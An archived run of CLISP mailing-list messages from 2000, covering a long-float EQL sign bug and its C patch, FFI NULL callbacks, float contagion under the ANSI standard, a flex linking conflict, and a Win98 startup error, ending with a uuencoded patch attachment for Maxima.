eql Hello! Here a serious bug: [6]> (lisp-implementation-version) "2000-03-06 (March 2000)" [7]> (eql -3.14159s0 3.14159s0) NIL [8]> (eql -3.14159e0 3.14159e0) NIL [9]> (eql -3.14159d0 3.14159d0) NIL [10]> (eql -3.14159l0 3.14159l0) T [11]> (eql (- pi) pi) T This bug is also the probable cause of bug 104646, as the declaration (real (* -2 pi) (* 2 pi)) becomes (real (* -2 pi) (* -2 pi)). The reason seems that in the case of long float, the sign bit is not tested (it appears not to be in the mantissa as for the other float sizes). -- B. Urban From knute@ii.uib.no Thu Jul 27 09:30:29 2000 Received: from ii.uib.no (eik.ii.uib.no [129.177.16.3]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA09971 for ; Thu, 27 Jul 2000 09:30:28 -0700 Received: from apal.ii.uib.no [129.177.16.7] by ii.uib.no with esmtp (Exim 3.03) id 13HqYm-0006uW-00 ; Thu, 27 Jul 2000 18:31:00 +0200 Received: (from knute@localhost) by apal.ii.uib.no (8.8.8+Sun/8.8.7) id SAA04369; Thu, 27 Jul 2000 18:30:24 +0200 (MET DST) Date: Thu, 27 Jul 2000 18:30:24 +0200 From: Knut Arild Erstad To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] C function addresses Message-ID: <20000727183024.A3904@ii.uib.no> References: <20000727021836.A16609@ii.uib.no> <14720.15955.520265.885667@honolulu.ilog.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <14720.15955.520265.885667@honolulu.ilog.fr>; from haible@ilog.fr on Thu, Jul 27, 2000 at 03:51:15PM +0200 On Thu, Jul 27, 2000 at 03:51:15PM +0200, Bruno Haible wrote: > > The FFI will convert the lisp function #'DRAW to the C function > address automatically, if you have the right declaration for glutDisplayFunc. Thanks, I got it to work now. I was just using integers for pointers to some kinds of C constructs (and still am for pointer to structs and unions). Once I added the proper c-function declaration, it worked. I still have a small problem, though... is there some way to pass NULL/0 to a C function that expects a function? For instance, glutIdleFunc(NULL) can be used to "turn off" an animation callback, how can I do this in lisp? glutIdleFunc is defined as (FFI:DEF-C-CALL-OUT GLUTIDLEFUNC (:NAME "glutIdleFunc") (:ARGUMENTS (#:G1132 (FFI:C-FUNCTION (:LANGUAGE :STDC) (:RETURN-TYPE NIL))) ) (:RETURN-TYPE NIL) ) Another somewhat unrelated problem I ran into: (* 0 1.1) returns 0, not 0.0. Is this a bug? It seems like strange behaviour to me... -- Knut Arild Erstad Vacuums are nothings. We only mention them to let them know we know they're there. From haible@ilog.fr Thu Jul 27 11:24:10 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA24658 for ; Thu, 27 Jul 2000 11:24:09 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA18748; Thu, 27 Jul 2000 20:20:03 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.6]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA24646; Thu, 27 Jul 2000 20:23:33 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id UAA10457; Thu, 27 Jul 2000 20:22:53 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14720.32252.962425.305833@honolulu.ilog.fr> Date: Thu, 27 Jul 2000 20:22:52 +0200 (CEST) To: Knut Arild Erstad Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] C function addresses In-Reply-To: <20000727183024.A3904@ii.uib.no> References: <20000727021836.A16609@ii.uib.no> <14720.15955.520265.885667@honolulu.ilog.fr> <20000727183024.A3904@ii.uib.no> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Knut Arild Erstad writes: > I still have a small problem, though... is there some way to pass NULL/0 > to a C function that expects a function? For instance, glutIdleFunc(NULL) > can be used to "turn off" an animation callback, how can I do this in > lisp? It's a bug. A callback function will correctly convert NULL to NIL, but in the other direction the conversion did not yet worked. I've fixed it in the CVS now. Thanks for reporting it. > Another somewhat unrelated problem I ran into: (* 0 1.1) returns 0, not > 0.0. Is this a bug? It seems like strange behaviour to me... The difference between 0 and 0.0 in Lisp sense is that 0.0 is an approximate zero, possibly originated from the subtraction of two different but very close numbers, whereas 0 is a precise zero - it is always zero no matter how close you look. If you take a precise zero and multiply it with a precise 0, you always get a precise zero. You can use COERCE to convert 0 to 0.0 if you want the latter (e.g. in order to pass it as an argument to GL routines). Bruno From haible@ilog.fr Thu Jul 27 11:25:29 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA24849 for ; Thu, 27 Jul 2000 11:25:28 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA18757; Thu, 27 Jul 2000 20:21:22 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.6]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA24681; Thu, 27 Jul 2000 20:24:51 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id UAA10460; Thu, 27 Jul 2000 20:24:19 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14720.32339.827006.671415@honolulu.ilog.fr> Date: Thu, 27 Jul 2000 20:24:19 +0200 (CEST) To: bernard URBAN Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bug in eql In-Reply-To: <88vgxrpmf3.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me> References: <88vgxrpmf3.fsf@goudurix.i-did-not-set--mail-host-address--so-shoot-me> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid bernard URBAN writes: > Here a serious bug: > [11]> (eql (- pi) pi) > T Thanks for reporting it. Here is a fix. diff -c -3 -r1.29 predtype.d *** predtype.d 2000/06/13 19:02:12 1.29 --- predtype.d 2000/07/27 18:10:01 *************** *** 94,99 **** --- 94,105 ---- if (!(len1 == Lfloat_length(obj2))) goto no; # Exponenten vergleichen: if (!(TheLfloat(obj1)->expo == TheLfloat(obj2)->expo)) goto no; + # Vorzeichen vergleichen: (LF_sign not usable here.) + #ifdef TYPECODES + if (R_sign(as_object(as_oint(obj1) ^ as_oint(obj2))) < 0) goto no; + #else + if (Record_flags(obj1) != Record_flags(obj2)) goto no; + #endif # Ziffern vergleichen: var uintD* ptr1 = &TheLfloat(obj1)->data[0]; var uintD* ptr2 = &TheLfloat(obj2)->data[0]; Bruno From knute@ii.uib.no Thu Jul 27 17:07:31 2000 Received: from ii.uib.no (eik.ii.uib.no [129.177.16.3]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id RAA03400 for ; Thu, 27 Jul 2000 17:07:31 -0700 Received: from apal.ii.uib.no [129.177.16.7] by ii.uib.no with esmtp (Exim 3.03) id 13Hxh8-0007YD-00 ; Fri, 28 Jul 2000 02:08:06 +0200 Received: (from knute@localhost) by apal.ii.uib.no (8.8.8+Sun/8.8.7) id CAA13723; Fri, 28 Jul 2000 02:07:28 +0200 (MET DST) Date: Fri, 28 Jul 2000 02:07:28 +0200 From: Knut Arild Erstad To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] C function addresses Message-ID: <20000728020728.A13526@ii.uib.no> References: <20000727021836.A16609@ii.uib.no> <14720.15955.520265.885667@honolulu.ilog.fr> <20000727183024.A3904@ii.uib.no> <14720.32252.962425.305833@honolulu.ilog.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <14720.32252.962425.305833@honolulu.ilog.fr>; from haible@ilog.fr on Thu, Jul 27, 2000 at 08:22:52PM +0200 On Thu, Jul 27, 2000 at 08:22:52PM +0200, Bruno Haible wrote: > Knut Arild Erstad writes: > > > Another somewhat unrelated problem I ran into: (* 0 1.1) returns 0, not > > 0.0. Is this a bug? It seems like strange behaviour to me... > > The difference between 0 and 0.0 in Lisp sense is that 0.0 is an > approximate zero, possibly originated from the subtraction of two > different but very close numbers, whereas 0 is a precise zero - it is > always zero no matter how close you look. [...] I understand the argument, but it still seemed unintuitive somehow, and different from all other languages and Lisp versions I remember seeing, so I looked it up both in Graham's ANSI Common Lisp book and the HyperSpec, and there it is: "The result of a numerical function is a float of the largest format among all the floating-point arguments to the function." -- Knut Arild Erstad Vacuums are nothings. We only mention them to let them know we know they're there. From haible@ilog.fr Fri Jul 28 06:32:10 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA25471 for ; Fri, 28 Jul 2000 06:32:09 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA12945; Fri, 28 Jul 2000 15:27:57 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.59]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA26787; Fri, 28 Jul 2000 15:31:29 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA12899; Fri, 28 Jul 2000 15:30:46 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14721.35589.223546.709064@honolulu.ilog.fr> Date: Fri, 28 Jul 2000 15:30:45 +0200 (CEST) To: Knut Arild Erstad Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] C function addresses In-Reply-To: <20000728020728.A13526@ii.uib.no> References: <20000727021836.A16609@ii.uib.no> <14720.15955.520265.885667@honolulu.ilog.fr> <20000727183024.A3904@ii.uib.no> <14720.32252.962425.305833@honolulu.ilog.fr> <20000728020728.A13526@ii.uib.no> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Knut Arild Erstad writes: > I understand the argument, but it still seemed unintuitive somehow, and > different from all other languages and Lisp versions I remember seeing But it is closer to what a real computer algebra system does. Because it is closer to the true mathematical result. > sec_12-1-4-4.html> This section applies only to float-float combinations. Look at section 12.1.4.1 and at section 12.1.3.3: "When the arguments to an irrational mathematical function are all rational and the true mathematical result is also (mathematically) rational, then unless otherwise noted an implementation is free to return either an accurate rational result or a single float approximation." Bruno From knute@ii.uib.no Fri Jul 28 07:20:52 2000 Received: from ii.uib.no (eik.ii.uib.no [129.177.16.3]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA31190 for ; Fri, 28 Jul 2000 07:20:51 -0700 Received: from tjeld.ii.uib.no [129.177.17.213] by ii.uib.no with esmtp (Exim 3.03) id 13IB0w-0005dw-00 ; Fri, 28 Jul 2000 16:21:26 +0200 Received: (from knute@localhost) by tjeld.ii.uib.no (8.9.3+Sun/8.9.3) id QAA18486; Fri, 28 Jul 2000 16:20:48 +0200 (MEST) Date: Fri, 28 Jul 2000 16:20:47 +0200 From: Knut Arild Erstad To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Numbers (was: C function addresses) Message-ID: <20000728162047.A18351@ii.uib.no> References: <20000727021836.A16609@ii.uib.no> <14720.15955.520265.885667@honolulu.ilog.fr> <20000727183024.A3904@ii.uib.no> <14720.32252.962425.305833@honolulu.ilog.fr> <20000728020728.A13526@ii.uib.no> <14721.35589.223546.709064@honolulu.ilog.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <14721.35589.223546.709064@honolulu.ilog.fr>; from haible@ilog.fr on Fri, Jul 28, 2000 at 03:30:45PM +0200 On Fri, Jul 28, 2000 at 03:30:45PM +0200, Bruno Haible wrote: > Knut Arild Erstad writes: > > > I understand the argument, but it still seemed unintuitive somehow, and > > different from all other languages and Lisp versions I remember seeing > > But it is closer to what a real computer algebra system does. Because > it is closer to the true mathematical result. That I can agree with. But it was certainly an unexpected result for me, and I still think it is a violation of the standard... > > > sec_12-1-4-4.html> > > This section applies only to float-float combinations. Look at section > 12.1.4.1 and at section 12.1.3.3: > > "When the arguments to an irrational mathematical function are all > rational and the true mathematical result is also (mathematically) > rational, then unless otherwise noted an implementation is free to > return either an accurate rational result or a single float > approximation." "When the arguments to an irrational mathematic functions are *all* rational" ... this does not apply to (* 0 1.1). From what I can see it applies only to the functions listed in that section, and only if all arguments are rational, so that (expt 0 1.1) must return 0.0, and (log 1 2.0) must return 0.0, for instance. clisp returns 0 in the second case, BTW. Section 12.1.4.1 says "When rationals and floats are combined by a numerical function, *the rational is first converted to a float* of the same format. For functions such as + that take more than two arguments, it is permitted that *part* of the operation be carried out exactly using rationals and the rest be done using floating-point arithmetic." It seems pretty clear to me: a numerical function with one or more float arguments always returns a float (or in some cases a complex number with float parts). Am I missing something? -- Knut Arild Erstad Vacuums are nothings. We only mention them to let them know we know they're there. From Nicolas.Dittlo@emi.u-bordeaux.fr Wed Aug 2 04:53:40 2000 Received: from aliboron.emi.u-bordeaux.fr (root@aliboron.emi.u-bordeaux.fr [147.210.12.128]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id EAA06925 for ; Wed, 2 Aug 2000 04:53:39 -0700 Received: from vetrodin.emi.u-bordeaux.fr (dittlo@vetrodin [147.210.12.162]) by aliboron.emi.u-bordeaux.fr (8.9.3/jtpda-5.3.1) with SMTP id NAA07156 for ; Wed, 2 Aug 2000 13:53:30 +0200 (MET DST) Received: by vetrodin.emi.u-bordeaux.fr (sSMTP sendmail emulation); Wed, 2 Aug 2000 13:53:30 +0200 From: Nicolas Dittlo Date: Wed, 2 Aug 2000 13:53:30 +0200 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Message-ID: <6044_2276_965217210_1@vetrodin> Content-ID: <6044_2276_965217210_2@vetrodin> Content-type: text/richtext; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] clisp-link & -lfl Hello, I have a problem when I try to build a module with a C file generated by flex. It seems there are two symbols 'main' in conflict; one in lisp.a, and the other in the library required to compile flex-generated code. Do somebody know a solution? Here is the session: clisp-link add-module-set /root/lib/gl-bindings-module/ = base /root/lib/base+gl make: Nothing to be done for `clisp-module'. gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fo= mit-f rame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -D= DYNAM IC_FFI -I/usr/local/clisp-2000-03-06/src -c modules.c In file included from modules.d:11: /usr/local/clisp-2000-03-06/src/clisp.h:426: warning: register used for t= wo gl obal register variables gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fo= mit-f rame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -D= DYNAM IC_FFI -x none modules.o gl-bindings.o glu-bindings.o c_utils.o c_utils_b= ase.o image.o -L/usr/X11R6/lib -lXm -lXt -lXext -lX11 -lXmu -lXi -lm -lGLU= -lGL -lf l lisp.a libsigsegv.a libiconv.a libintl.a libreadline.a libavcall.a libc= allba ck.a -ltermcap -ldl -o lisp.run lisp.a(lisp.o): In function `main': lisp.o(.text+0x789c): multiple definition of `main' /usr/lib/libfl.a(libmain.o)(.text+0x0): first defined here /usr/bin/ld: Warning: size of symbol `main' changed from 18 to 4503 in li= sp.o /usr/lib/libfl.a(libmain.o): In function `main': libmain.o(.text+0x4): undefined reference to `yylex' collect2: ld returned 1 exit status /root/lib/base+gl/lisp.run -M base/lispinit.mem -q -i /root/lib/gl-bindin= gs-mo dule//gl-bindings.fas /root/lib/gl-bindings-module//glu-bindings.fas /roo= t/lib /gl-bindings-module//c_utils.fas -x (saveinitmem "/root/lib/base+gl/lispi= nit.m em") =2E/clisp-link: /root/lib/base+gl/lisp.run: Aucun fichier ou r=E9pertoire= de ce ty pe Thank you. Niko. (2 is better than 0) From haible@ilog.fr Wed Aug 2 06:27:38 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA17191 for ; Wed, 2 Aug 2000 06:27:36 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA07507; Wed, 2 Aug 2000 15:22:52 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.156]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA08430; Wed, 2 Aug 2000 15:26:25 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA15396; Wed, 2 Aug 2000 15:26:06 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14728.8558.549169.261345@honolulu.ilog.fr> Date: Wed, 2 Aug 2000 15:26:06 +0200 (CEST) To: Nicolas Dittlo Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp-link & -lfl In-Reply-To: <6044_2276_965217210_1@vetrodin> References: <6044_2276_965217210_1@vetrodin> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Nicolas Dittlo writes: > Hello, > I have a problem when I try to build a module with a C file generated by > flex. It seems there are two symbols 'main' in conflict; one in > lisp.a, and the other in the library required to compile > flex-generated code. You don't really need libfl. "nm /usr/lib/libfl.a" shows you that it defines just two symbols: 'main' (which you don't need since clisp has its own main function) and 'yywrap' (which you don't need if you use "%option noyywrap" in your grammar file). Bruno From shure@chara.gsu.edu Tue Aug 15 10:12:12 2000 Received: from panther.Gsu.EDU (IDENT:root@panther.Gsu.EDU [131.96.1.18]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA12154 for ; Tue, 15 Aug 2000 10:12:11 -0700 Received: from faraday.chara.gsu.edu (faraday.chara.Gsu.EDU [131.96.144.48]) by panther.Gsu.EDU (8.9.3/8.7.3) with ESMTP id NAA24693; Tue, 15 Aug 2000 13:12:08 -0400 (EDT) Message-Id: <4.3.2.7.2.20000815125830.00dc4560@131.96.1.18> X-Sender: phymss@131.96.1.18 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 15 Aug 2000 13:18:31 -0400 To: clisp-list@lists.sourceforge.net From: Mark Shure Cc: Mark Shure Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] clisp startup problem on Win98 I'm still learning lisp & clisp, so please pardon any incredibly naive mistakes in the following... I just installed the clisp-2000-03-06 win32 binary on my home Win98 system. When I start up the program (in the c:\clisp directory) by typing "c:\clisp\lisp.exe -M lispinit.mem", I get the usual startup banner, a blank line and then the following message: [pathname.d:6727] *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. 1. Break [1]> Before installing this latest version, I had been running the previous 1999-07-22 version and was having the same problem. However, neither version had any problems running on my office WinNT system. Can someone suggest what is going on here? Many thanks in advance, Mark ============================================ Mark Shure (shure@chara.gsu.edu) Associate Professor Center for High Angular Resolution Astronomy -------------------------------------------- Georgia State University Astronomy Offices, Suite 700 1 Park Place South SE Atlanta GA 30303-2911 -------------------------------------------- phone: 404-651-1365 fax: 404-651-1389 ============================================ From sds@gnu.org Tue Aug 15 10:45:10 2000 Received: from sanpietro.red-bean.com (sanpietro.red-bean.com [206.69.89.65]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA16707 for ; Tue, 15 Aug 2000 10:45:09 -0700 Received: from xchange.com (centurion3.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA23654; Tue, 15 Aug 2000 12:45:08 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host centurion3.exapps.com [12.25.11.194] claimed to be xchange.com To: Mark Shure Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp startup problem on Win98 References: <4.3.2.7.2.20000815125830.00dc4560@131.96.1.18> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Mark Shure's message of "Tue, 15 Aug 2000 13:18:31 -0400" Date: 15 Aug 2000 13:41:40 -0400 Message-ID: Lines: 33 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii > * In message <4.3.2.7.2.20000815125830.00dc4560@131.96.1.18> > * On the subject of "[clisp-list] clisp startup problem on Win98" > * Sent on Tue, 15 Aug 2000 13:18:31 -0400 > * Honorable Mark Shure writes: > > I just installed the clisp-2000-03-06 win32 binary on my home Win98 > system. When I start up the program (in the c:\clisp directory) by > typing "c:\clisp\lisp.exe -M lispinit.mem", I get the usual startup > banner, a blank line and then the following message: > > [pathname.d:6727] > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the > file specified. > 1. Break [1]> > > Before installing this latest version, I had been running the previous > 1999-07-22 version and was having the same problem. However, neither > version had any problems running on my office WinNT system. Can > someone suggest what is going on here? I do not have this problem on NT either. You might want to try specifying the full path: c:/gnu/clisp/lisp.exe -M C:/gnu/clisp/lispinit.mem (try both backward and forward slashes...) -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Just because you're paranoid doesn't mean they AREN'T after you. From er-chan@usa.net Wed Aug 16 00:04:30 2000 Received: from nwcst267.netaddress.usa.net (nwcst267.netaddress.usa.net [204.68.23.12]) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id AAA24598 for ; Wed, 16 Aug 2000 00:04:29 -0700 Received: (qmail 24961 invoked by uid 60001); 16 Aug 2000 07:04:28 -0000 Message-ID: <20000816070428.24960.qmail@nwcst267.netaddress.usa.net> Received: from 204.68.23.12 by nwcst267 for [207.207.70.72] via web-mailer(34FM0700.1.03) on Wed Aug 16 07:04:28 GMT 2000 Date: 16 Aug 00 00:04:28 PDT From: er-chan To: clisp-list@lists.sourceforge.net CC: er-chan@usa.net X-Mailer: USANET web-mailer (34FM0700.1.03) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id AAA24598 Subject: [clisp-list] punimax I would like to run Punimax(a version of Maxima computer algebra system ported from gcl to clisp, as I understand). What version of clisp ? I am currently using RedHat 6.1 and am new to lisp. Any help is appreciated. ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 From sds@gnu.org Wed Aug 16 07:44:08 2000 Received: from sanpietro.red-bean.com (sanpietro.red-bean.com [206.69.89.65]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA07125 for ; Wed, 16 Aug 2000 07:44:08 -0700 Received: from xchange.com (centurion3.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA24995; Wed, 16 Aug 2000 09:44:06 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host centurion3.exapps.com [12.25.11.194] claimed to be xchange.com To: er-chan Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] punimax References: <20000816070428.24960.qmail@nwcst267.netaddress.usa.net> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: er-chan's message of "16 Aug 00 00:04:28 PDT" Date: 16 Aug 2000 10:40:31 -0400 Message-ID: Lines: 371 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii > * In message <20000816070428.24960.qmail@nwcst267.netaddress.usa.net> > * On the subject of "[clisp-list] punimax" > * Sent on 16 Aug 00 00:04:28 PDT > * Honorable er-chan writes: > > I would like to run Punimax(a version of Maxima computer > algebra system ported from gcl to clisp, as I understand). > What version of clisp ? I am currently using RedHat 6.1 > and am new to lisp. Any help is appreciated. 1. if you want to use Punimax, please visit http://www.can.nl/SystemsOverview/General/PUNIMAX.html (as per our homepage, http://clisp.cons.org --> resources) 2. if you would rather use the real thing (maxima), you should A. visit http://www.ma.utexas.edu/users/wfs/maxima.html and get the current CVS version of maxima B. apply the appended patch (BEWARE: work in progress!) C. get the latest version of CLISP (http://clisp.cons.org) D. follow the instructions in maxima/README -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Bus error -- driver executed. begin 664 2000-08-16.diff.gz M'XL("*2GFCD S(P,# M,#@M,38N9&EF9@#JTVRN-:O,'PS"*(#NUQA8T MVIW6;J?1_&&C^- [-#8KS3;P*X ?Q& %WL@5L7 ?0+B.Y_AF+.PJP($;!1 / M12C Q/^CP,,?(V$YI@L3,W3,OBLBQ'$W=*PA^$+8$ ?0%S * \LU'0\;3-\F M%#Z,_5QK@L7%F<(JHOCA&9SYX 414^,%/KA.-(+H(8J%%U7 =%VVE&CH6#'B#P!;B!:4<,2",)JRT&59H! M,0^0!!B:$\>_@4C$#);B0E0C,QY&>>]X)G2( MH311K",77XI!$ I$9(^Q%2=Q8B:*AQ8'$CCR@O^]?-?MO>J>ON[@YWWUL+1) M?)N GXS_3/%U$-EAKWMYWH'T60/+)J@]8'Y)=E4]X2%L^4%8GMSP T1KG!2A M#T_>'?868K:DQ*91)Y@='Z5H$%AAR'S)D>'1#*AX4=Z8&_5.?:>SN9T:4^&*ZG8*]04-[8C1W4#Q1_Y+"4^R%)-(K'@P$"G9P?=WM' ME_MKVLGYJ^Z%7D.--W#2:S^X'OLV*DL :1\.]D9!&%=-.0,3% :HT405Z87C M1S&JCAGC7!40-U ;1V'-#="R&?AJZ$1P%XQ=&RP3UR=EJ$:1,ENA0!7-#:OU M';^&ZR/%9A2Y+J2'NHRF\8]_U#;@SHF'TFCZY$RDUE9Q$"Y_X-SO%VAA7'=L M:SCMR#4MH58P".1(A.B>'I]=X])S0VL$4)M&,(Y!>*85285+ISXZ.3B\O+[L M7AU=DX5(1-$03:G&X+5FO=JJ14XL#!J8X&67)@8F2J\J7$:7(GMU='SPKG=U M?=1;A*V6H4@0^V-/A,$X@JO#7NWJ;>96P!J[+GJ*01AX/'U\>QCX ^>F&@VE M4['GQ]W7U^<71\?=]_NR#77SXN#B [\= M]@JO;Z_?=T\/>^]>H1K*=_6: ">O1K<2XT*V3 3K6Y]CO!O7KY^OV_U)A7/.QRWW!M-T,CWR$S MQ].SJ^[QA_T'5JS7AX?[-Y:5FE'Z[_5AC_5MB&I]D]+?D0Y*KL.SON';Q>V41&RY]4_ MSWK[DX H0$1&=TV3EJ+7 AP0.3>^L T4=)@&3PI>F0$T>,T1NOG;._)7V]4Z MW G.H606Q8H5(UO5VE -D:$8EV+'JD ?W;LR%VP- MO&OA#JID(+U7J'!KO_/:)*I"8]Y@):]):\Q@3/DF$HS9X0 53ZJB:=M@],%I M)^;.<#R>>4AZ_3T8.'L2GN?(9ZW@99M13$DZ:9\GR,*D(Z1MN$Z7^X;*NM##R#7 MT8^$&5K#9(DR)9#I$JE;)!4F0LKLZUMKQ-V8\).=A<3!MX?G^]AN]".9-B&# MLP03YL<9P+CR?KI+YLS8*Z-Z*2F294ZE+8L;F#_S?SQV)O@RF?1FDD=KCF^,T+I-]/2KN(3NR<&J3F6.AB6B026A M;WHBTF7&OZ>1\H*6M,,JYA)85-3\<33V5G7],1C4T2:!R$6GE=U,"I" O3^/ M@ED\V:TT4J;(?S3_ +0;+)77I1P[G1^M /.Z]#4.33\B3V_K6 /O[7$=BH[S ME@++7>"OQVB^'NK7B&KU_$H5"B)7LU&OT>MK$X!U[0]>R!_P!Q&+OZC2Q5]Q M>!-YHS]T'3235S?1$X[L8=Z.%HBN+[JQ*+U$!\VFQ\$=FW*5KKELP)2'?:LH;!NV=0QS^#"G:HBH$T)"_V*:<3!R' Q(7/UZ=3R M&_XA[Y&@UFYFWZ2%EQ\NC?.+L\/>0?=DGIDW"F;^V*B\M;?F6+OBB %:]]0X M/SA\>_#Z"%8OCRXNSB[(VJ'8D;D![$CF1/D=7WTX/P+M^-WIX57W[!0_==^? MOCO184.'XXN#DR.#"C]X]?+$>'>N+QZ.P[1_'O3>'5W"%5SA '+I9SVL@P[A M]=&I<8HH"8UT&*TB%RV7A+<\_Z;AE^ /#2S M.&E8_?+CKV9(R7$'KH( @Y'_P*-D%CWH?/D1OIBKZ7B+$NQUHH _Q2D!; LK M\)M&+.AT$*+"G17-PNQ%TJ&A/=_X4/D%1]MA,HX':G$R-!OY2QY"*3W96\S; M%>0H./ &(Q&:6-4DQ0C#V,)R*:/D>N4!TR]*-)%=6'=3ZLT%-^ULJM%4-ZA) M\IS&#T8P HW=/*/!MY^"$<'CV%#$X] WJ$.N'I_?E/-C!,9@[%N>3*T?!RL:Y[@(@JJ"H/K2))M+BJ',!U/Z5Y M:G/QV3.UHK'L+^/?2UYFQO(7NM[V5 